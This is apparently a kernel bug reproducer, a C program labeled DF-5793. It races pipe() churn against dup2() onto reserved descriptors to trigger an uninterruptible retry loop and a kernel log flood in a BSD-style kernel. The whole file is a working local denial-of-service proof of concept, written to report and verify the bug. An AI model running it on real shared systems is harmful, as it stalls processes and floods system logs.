/*
 * DF-5793 - kern_dup() dup2() onto an in-flight (reserved) descriptor:
 * unbounded uninterruptible retry loop + unbounded kprintf log flood.
 *
 * Trigger: thread A churns pipe2() (the read-side fd is *reserved* between
 * the first falloc/fsetfd pair and the second fsetfd - sys_pipe.c), thread
 * B hammers dup2() targeting the descriptors A churns.  Every hit on a
 * reserved fd takes the kern_descrip.c retry path:
 *
 *      kprintf("Warning: dup(): target descriptor %d is reserved...")
 *      tsleep(fdp, 0, "fdres", hz);      // flags=0 => NOT interruptible
 *      goto retry;                       // unbounded
 *
 * Evidence: count of "Warning: dup()" lines in dmesg after the run, and the
 * dup2 thread parking in "fdres" sleep 1s per hit.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <time.h>

static volatile int stop = 0;
static volatile int pipes_done = 0;
static volatile int dup_attempts = 0;
static volatile int dup_slow = 0;
static volatile int dup_errs = 0;
#define SRCFD 250

static double now_sec(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

/* Thread A: pipe2 churn. fd for read side is reserved across the second
 * falloc()/fsetfd() inside kern_pipe(). */
static void *churner(void *arg)
{
	int pfds[2];
	int n = 0;

	while (!stop) {
		if (pipe(pfds) == 0) {
			close(pfds[0]);
			close(pfds[1]);
			n++;
			if ((n & 0x3ff) == 0)
				pipes_done = n;
		}
	}
	pipes_done = n;
	return NULL;
}

/* Thread B: dup2 spam into the fd range the churner allocates.
 * Every dup2() that lands on a reserved fd enters the 1s tsleep loop. */
static void *spammer(void *arg)
{
	int n = 0, slow = 0, err = 0;

	while (!stop) {
		int fd;
		for (fd = 3; fd < 96 && !stop; fd++) {
			double t0 = now_sec();
			if (dup2(SRCFD, fd) >= 0) {
				close(fd);
			} else
				err++;
			if (now_sec() - t0 > 0.25)
				slow++;
			n++;
		}
	}
	dup_attempts = n;
	dup_slow = slow;
	dup_errs = err;
	return NULL;
}

int main(int argc, char **argv)
{
	double t0, runlen = 12.0;
	pthread_t ta, tb;

	if (argc > 1)
		runlen = atof(argv[1]);

	{
		int s = open("/dev/null", O_RDONLY);
		if (dup2(s, SRCFD) < 0) { perror("dup2 src"); return 1; }
		close(s);
	}
	t0 = now_sec();
	pthread_create(&ta, NULL, churner, NULL);
	pthread_create(&tb, NULL, spammer, NULL);

	while (now_sec() - t0 < runlen)
		usleep(100000);
	stop = 1;
	pthread_join(ta, NULL);
	pthread_join(tb, NULL);

	printf("DF-5793: pipes=%d dup2 attempts=%d slow(>=250ms dup2)=%d err=%d\n",
	       pipes_done, dup_attempts, dup_slow, dup_errs);
	printf("Now check: dmesg | grep -c 'target descriptor'\n");
	return 0;
}
